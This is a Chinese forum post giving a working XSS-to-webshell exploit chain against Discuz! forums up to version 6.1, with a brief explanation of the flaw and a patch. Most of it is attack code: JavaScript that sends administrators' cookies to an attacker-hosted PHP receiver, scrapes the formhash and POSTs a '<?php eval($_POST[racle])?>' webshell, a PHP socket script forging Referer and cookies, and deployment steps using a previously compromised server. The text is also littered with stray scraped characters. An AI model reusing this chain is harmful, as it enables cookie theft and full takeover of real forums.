Discuz XSS得webshell- |( x" s, o/ o- x c6 Z e; w+ K
By racle @tian6.com- c" x( b! c4 d3 R7 k2 J
欢迎转帖.但请保留版权信息.
0 }; L7 }2 e1 b受影响版本 iscuz<=6.1.0,gbk+utf+big55 e: e$ F3 D& a; H
* Q, a/ F) h* T$ d/ D8 T新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
6 t' H" K$ r) L/ ~! ^; Q, e5 v4 j! \; {; Y
# s" U2 `& e% m% U+ {8 k+ A. |3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706* Q7 J) F4 P' r/ M
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.0 i1 o/ Z- P* X, N, p( P+ S& Z: F
2 ^9 I* p; ?1 G3 [% {6 M
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
+ M: a3 Z4 L: {本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
6 L. C( P. y- B: p8 U. x0 O5 ~% b; r: I3 ]2 l8 Y
! K8 K$ c$ Q8 `1 `3 a4 c# }
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
- g. g. U0 w$ W8 t( `% @1 v5 y* m8 D% y3 M8 w
$ V$ X$ n, d0 {$ K4 h! X
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
5 |- }- h! p: N( ~
0 x4 b [6 [4 f0 p9 [) R% n7 ^. nproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.4 B% o5 Y- K" J2 K+ \8 T
/ o. _- `# b( w# P0 Pproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.( ^1 ]- G/ F5 `" C. w. V8 K
2 D1 I3 d( o& Y9 S9 L9 k+ a
! h; t! w) O, @- l. Q K( e8 C
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
9 z5 v P+ Y* ?
5 k! x% W0 X" c5 e% l global $runwizardfile, $runwizardhistory;
7 }* a" L0 z5 L1 r: z/ p
6 q. \, G3 p4 e $fp = fopen($runwizardfile, 'w');
. x* K' H+ J% ], @5 [5 Z* K. `' I8 h
fwrite($fp, serialize($runwizardhistory));7 \( [$ q8 o: Y$ ?9 v1 q$ |
* V$ L- w) ]7 K: }/ X# t4 P fclose($fp);
8 W4 m) q7 H3 \- z4 f3 Q
7 j% R' U# D0 U! j" n% {}8 ^6 ?3 X; a! c1 {7 T, A
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
- ^6 g8 P, N) V( J5 n. s6 a1 T以下是修补的办法:function saverunwizardhistory() {) N4 S8 @+ ?) u c; h
0 g: O$ J3 p- G( c global $runwizardfile, $runwizardhistory;
4 s" z [- c7 h$ R# _! b9 J# S1 |
0 ~: ~7 N8 @% K" J" A $fp = fopen($runwizardfile, 'w');
) D) u# ^6 ?; G$ {( C' c
1 q4 |5 j& {5 P) I $s = '<?php exit;?>';! A/ G# l2 }. w% R
8 M# q; N/ _5 h6 M0 n4 y% L' r $s .= serialize($runwizardhistory);
6 x& q8 {5 m! p$ T* ~0 D" `2 X
6 _* E: o; u# A* K# U+ s+ v fwrite($fp, $s); ^! L( o% I! J l( s# y: F
4 S: P$ S! _3 M6 m fclose($fp);
7 Q( Z, z$ n, I
: e! f2 c' D4 u- O2 B) z7 D}$ @0 M8 h5 s/ [, C q
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.2 Q; E" `8 k# D& w
- f! q5 h6 A$ W0 y, e7 q5 w; T0 J" F" H( `) @+ i9 F
3 S4 l5 C% @$ v
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------3 I$ o+ Q: L) g. u L3 N" V
+ y: G! t# c4 z& W1 _) z8 ?3 p1 b
6 F" l+ \4 ]( I% z7 n1 \0 r; ^4 S 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
/ c- {6 O7 q% O, B8 q E8 M
! i i8 n. X+ \* G我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.$ R& c# B0 O. ]) }- t
4 |9 U9 r: W O+ B8 D8 k
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.+ S0 A/ n/ b' R8 _
6 o/ K( [ p7 N9 ^4 H1 a首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:4 i {$ W0 \3 G4 y& Z' f
& j+ R* n. L7 r; C) e
var url="http://目标网站/admincp.php"; V7 l% U m' m6 z7 m
2 _; I. ?& J* @3 u* [, x I8 [4 _/*获得cookies*/
6 h) r H/ v- s( q; o ?, {3 x1 ~2 ~: d) g' G' o2 T' n1 @( r
function getURL(s) {
9 |, }7 P, }9 ^# x8 R
* f, m& J2 M2 xvar image = new Image();
7 e# u3 _" `: R2 L3 N
; U/ y4 e# `/ `image.style.width = 0;! G5 ~& `2 A7 J+ k
" \; M& W' `$ k/ ]$ B# g3 B
image.style.height = 0;
8 k; R6 ?6 i$ Z( `/ q+ ]2 W/ V Y6 g2 |/ X
image.src = s;' o2 M1 z L; I0 W
4 V4 v6 M* e* q7 V$ M% f8 D
}
2 L4 z. b7 u: M o6 p
* T8 |3 l- ]$ h- o. }+ VgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php* f0 F, Y" ]: T% a
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];0 I- a2 O/ f) e* j; J
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) - J% \: G n+ W/ d' |, r3 a
0 k0 n9 a" v" N8 s( Y& I7 R! R; W7 t! C
2 q3 u+ H/ t/ m" T, G6 _获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
, d% t7 L1 A, r8 W
; }; E4 @( \1 F/ u' @
# y, M; W% |9 ?- N5 P) ^5 N f
6 y3 y8 y! X4 k, q/*hash*/% C8 m# Q% l: J5 ~
+ s: N: o( O2 ?. a5 t- r/ svar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");1 L! u9 ~4 { r; C% `8 p
/ h7 h: r& \4 J+ h2 d7 U
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);# p' h# E5 {) D9 |
# X: A9 v+ }( E8 K" Q* f t
xmlHttpReq.send();0 k4 j: G7 @& ~) D- K1 m
5 k3 _: u0 l7 _4 j1 Nvar resource = xmlHttpReq.responseText;. a6 A9 p8 f/ I! D* u9 ]
1 n" f, c) R6 x0 @& H$ z
var numero = resource.search(/formhash/);+ |5 ^! A- A" ^* c
! p$ K2 B: C' x$ @$ O9 R! b+ V
var formhash=encodeURIComponent(resource.substr(numero+17,8));1 B: _' |/ a# {1 f) J: |- Q
9 i1 U0 o" z$ w: Z! P. Q
, Z0 s) f/ c/ b0 H
4 h* O# R7 P I# H/ Tvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 , v& h$ r. Y: k, Z
, J' y" E5 t9 S" b5 R4 |4 [0 `
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 7 c z% ]! [- {2 t+ r
! d3 {2 B* e# I& n2 s
xmlHttpReq.setRequestHeader("Referer", url);7 S9 i8 s; j( a3 U5 w& n7 \
7 ^- ?+ A6 Q. U1 Y/ r ` a$ L
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");; v/ {2 S- \& E3 m5 [2 [9 z9 D
- a: b- k5 S8 h9 zxmlHttpReq.setrequestheader("content-length",post.length); ) |$ X1 B8 q) u+ z1 ~
( h. v/ s) S! L+ _- n$ k& ExmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ' y% a" v0 s- u& Y7 K7 K/ t
7 ]8 t# u) E! Z7 C9 y/ t# pxmlHttpReq.send(post);//发送数据
& M- b- u3 E5 |. t+ u0 S复制代码这里HASH我假设正确,这样提交,也无须cookies
9 {- |+ h) \8 J; o7 S! M6 }9 `5 x; h6 I3 \
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);3 k3 O, H7 \" B N( |: ?
2 H' y- f$ ^3 ]& k" ~9 C
if (!$sock) die("$errstr ($errno)\n");
7 X: Z- T) @. X- S/ x# {$ ~' e) \6 Y. i3 }
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
$ \; d5 Q$ e8 q! z- f
( ~3 ]& R. h0 G2 U5 F! W6 D$ L5 x/ q! m% }3 v8 b" U
) F3 }* K: g- P$ E) T$ j7 j2 l
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");8 m- ]9 n& n7 [: x; V1 C7 n
0 v* V, S: u4 j+ v8 x; ]fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
/ q9 Z/ K9 ~: x7 h% K! u, d6 [
2 j8 S3 b1 U0 Pfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");8 O' E0 T; S1 V* M3 ]. k7 ?4 ~
- m* ]1 W6 o% f N0 q, hfwrite($sock, "Accept-Language: zh-cn\r\n");: I( Q! R- d: ~, s( X7 _! }
5 }6 v" L% ]% W- j* efwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
# g$ L& @/ Y7 q! N$ T. g. Y
2 Y$ j8 Q- j3 }/ U. T3 t5 ~fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
* ]7 g. x) E# D$ O/ |) T. F
, U0 N' ^" s) zfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");2 d- j2 l4 O+ U5 K
% c* E- m+ ~# q2 V
fwrite($sock, "Host: $url\r\n");* n7 M9 v/ Y9 [
0 R" c# b7 K8 C+ b1 u1 u* V) L$ H0 pfwrite($sock, "Content-Length: ".strlen($data)."\r\n");7 J& p6 r& R' I4 Y6 j9 `
- R" c; W# i- E. s# Y5 E9 J# J3 I
fwrite($sock, "Connection: Keep-Alive\r\n");. u/ H( W" @1 P) O6 Q5 \# d
) j0 Y0 V/ z2 O, X# ?) k' L
fwrite($sock, "Cache-Control: no-cache\r\n");
0 C/ e: ], C7 j$ r/ M* @: W4 |
% o1 q5 J W1 U/ V8 n, C; Ofwrite($sock, "Cookie:".$cookies."\r\n\r\n");
/ [% `; N3 N+ L9 z! I. q7 f" _7 Y
fwrite($sock, $data);# d7 @( ^# O! V2 ^8 J3 u2 }
$ K" O. w/ Z# v7 A1 Z0 l
" \" p, W; p8 A x: p6 E0 r, {" p2 z+ C) q9 \
$headers = "";* k$ B0 C& f B* Q* R; b, B
8 B; N! t: K# o2 U% T7 u5 \
while ($str = trim(fgets($sock, 4096)))" {8 n T$ d9 ?2 O6 @, E- G
+ u0 u' W' L) u7 ]) v $headers .= "$str\n";/ q7 E$ G8 U2 y0 z/ h
; l- q8 z; Y& D" W- Vecho "\n";
# v) G( A5 d) K. x" J
( w4 l. G3 F! o, P$body = "";
3 t. f% p3 s3 H8 D& D) t
# }6 e) V) o, s7 l1 h3 pwhile (!feof($sock))6 k9 B B7 Z( t7 A
, r3 [0 j5 `, E: b# J# d/ I $body .= fgets($sock, 4096);; c1 O! u" S7 P S0 B$ C- d
" X/ W. A) b$ _* u- {4 U, I) }4 x, I
fclose($sock);9 u+ y3 ~5 i' c
4 O& v0 }% Q! x) n5 G. g H! k9 S' J
echo $body;
/ A5 P$ r- Y+ k* {; Z; s复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^6 U& E7 P% k: G6 F
4 y, p, w+ d% w& l+ ^3 K# \
9 `4 F' v. Z. { N-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------# d8 E8 _- @ V
" d x0 J I' Y- p# f; a* y! E& T) I( k# F$ [4 `2 _
1 HP SOCKET利用方法首先打开racle.js
4 L1 w4 O: |- Q0 ?; i; k
: m( F$ o4 C V5 Y" S7 M' cvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
5 v3 O r5 m5 S+ u! v$ u `; o; {6 _
8 V2 F! ?6 |% l8 C# \/ }/ r' z" L1 c, d! ^- t9 T6 [; ^+ [
然后打开racle@tian6.php
( [# z" B5 b, b/ ^; l8 _+ X) |/ [+ p; @0 g* Q2 i
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
" x. b: y) P: M- e: m$ a
" _8 g6 R8 ^2 O( h+ I! m1 \' | t! g7 B8 s5 k, y( ?, ^
# B7 ~! y- M1 i
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
; F& |" ^! b8 T8 ~, ?0 T% y* f. U4 |2 _1 V5 O# H( I1 r0 C. g
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
/ I% U( `$ M$ t' U, z3 i
7 A) a+ _% |9 l" E为
4 b) g! `/ S: b3 P; |0 C
) x, z# J$ {1 F! I9 @' j9 V0 c! kgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));( c2 N' P: s% }. @/ E) O9 h) X8 y1 `# V
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.+ S3 _- w" \. p" x% ?. C/ g
: ?$ _5 q" a: |" Q; U, Z4 D( K- Q" R7 @# r* \; }" R: C
7 D6 M7 {! w, k, K如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:- ^5 }+ E8 K9 D6 {- r
- g+ q+ S" o# {" M" D
var formhash=encodeURIComponent(resource.substr(numero+17,8));2 q! A" K* _% G. H: ~
9 U. ?5 s( Z" @# |6 K6 `
为7 m- k. U& U6 X
3 i0 G8 I* r4 J1 z3 J
var formhash=encodeURIComponent(resource.substr(numero+9,8));4 f+ a; R& p4 d% m$ L
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧. K8 {1 ^. b' s( g; G3 ~( x
) L/ g: v; k X6 Z, o
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
K* F# i) j7 F3 G5 E! F6 E5 }/ ?6 a% n, J4 S0 S
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.( Y0 M3 I' v3 g6 m
8 l' b. f4 U- ~0 M2 K6 f不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
; f. C! z; n' q4 i+ N / H( c) t2 ~# U; R0 a, \- K1 a+ e/ C
|